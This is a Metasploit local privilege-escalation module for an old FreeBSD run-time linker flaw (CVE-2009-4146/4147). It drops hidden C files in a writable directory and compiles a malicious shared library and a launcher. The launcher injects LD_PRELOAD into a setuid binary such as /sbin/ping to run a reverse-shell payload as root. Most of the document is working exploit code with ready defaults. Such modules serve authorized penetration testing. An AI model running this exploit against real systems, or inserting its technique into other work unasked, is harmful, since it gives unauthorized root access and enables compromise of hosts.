FreeBSD rtld execl() Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreeBSD rtld execl() Privilege Escalation',
        'Description' => %q{
          This module exploits a vulnerability in the FreeBSD
          run-time link-editor (rtld).

          The rtld `unsetenv()` function fails to remove `LD_*`
          environment variables if `__findenv()` fails.

          This can be abused to load arbitrary shared objects using
          `LD_PRELOAD`, resulting in privileged code execution.

          This module has been tested successfully on:

          FreeBSD 7.2-RELEASE (amd64); and
          FreeBSD 8.0-RELEASE (amd64).
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Kingcope', # Independent discovery, public disclosure, and exploit
            'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)
            'bcoles' # Metasploit (using Kingcope's exploit code [modified])
          ],
        'DisclosureDate' => '2009-11-30',
        'Platform' => ['bsd'], # FreeBSD
        'Arch' =>
          [
            ARCH_X86,
            ARCH_X64,
            ARCH_ARMLE,
            ARCH_AARCH64,
            ARCH_PPC,
            ARCH_MIPSLE,
            ARCH_MIPSBE
          ],
        'SessionTypes' => ['shell'],
        'References' =>
          [
            ['BID', '37154'],
            ['CVE', '2009-4146'],
            ['CVE', '2009-4147'],
            ['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],
            ['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],
            ['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],
            ['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],
            ['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],
            ['URL', 'https://securitytracker.com/id/1023250']
          ],
        'Targets' => [['Automatic', {}]],
        'DefaultOptions' =>
          {
            'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',
            'PrependSetresuid' => true,
            'PrependSetresgid' => true,
            'PrependFork' => true,
            'WfsDelay' => 10
          },
        'DefaultTarget' => 0
      )
    )
    register_options([
      OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/sbin/ping'])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def suid_exe_path
    datastore['SUID_EXECUTABLE']
  end

  def upload(path, data)
    print_status("Writing '#{path}' (#{data.size} bytes) ...")
    rm_f(path)
    write_file(path, data)
    register_file_for_cleanup(path)
  end

  def check
    kernel_release = cmd_exec('uname -r').to_s
    unless kernel_release =~ /^(7\.[012]|8\.0)/
      return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
    end

    vprint_good("FreeBSD version #{kernel_release} appears vulnerable")

    unless command_exists?('cc')
      return CheckCode::Safe('cc is not installed')
    end

    vprint_good('cc is installed')

    unless setuid?(suid_exe_path)
      return CheckCode::Detected("#{suid_exe_path} is not setuid")
    end

    vprint_good("#{suid_exe_path} is setuid")

    CheckCode::Appears
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    max_len = 1_000
    if base_dir.length > max_len
      fail_with(Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than #{max_len}")
    end

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"

    executable_data = <<~LIB
      #include <stdio.h>
      #include <stdlib.h>
      #include <unistd.h>

      void _init() {
        extern char **environ;
        environ=NULL;
        system("#{payload_path} &");
      }
    LIB

    executable_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload("#{executable_path}.c", executable_data)
    output = cmd_exec("cc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall")
    register_file_for_cleanup("#{executable_path}.o")

    unless output.blank?
      print_error(output)
      fail_with(Failure::Unknown, "#{executable_path}.c failed to compile")
    end

    lib_name = ".#{rand_text_alphanumeric(5..10)}"
    lib_path = "#{base_dir}/#{lib_name}"
    output = cmd_exec("cc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles")
    register_file_for_cleanup("#{lib_path}.0")

    unless output.blank?
      print_error(output)
      fail_with(Failure::Unknown, "#{executable_path}.o failed to compile")
    end

    exploit_data = <<~EXPLOIT
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <unistd.h>

      int main() {
        extern char **environ;
        environ = (char**)calloc(8096, sizeof(char));
        environ[0] = (char*)calloc(1024, sizeof(char));
        environ[1] = (char*)calloc(1024, sizeof(char));
        strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0");
        return execl("#{suid_exe_path}", "", (char *)0);
      }
    EXPLOIT

    exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload("#{exploit_path}.c", exploit_data)
    output = cmd_exec("cc #{exploit_path}.c -o #{exploit_path} -Wall")
    register_file_for_cleanup(exploit_path)

    unless output.blank?
      print_error(output)
      fail_with(Failure::Unknown, "#{exploit_path}.c failed to compile")
    end

    upload(payload_path, generate_payload_exe)
    chmod(payload_path)

    print_status('Launching exploit...')
    output = cmd_exec(exploit_path)
    output.each_line { |line| vprint_status line.chomp }
  end
end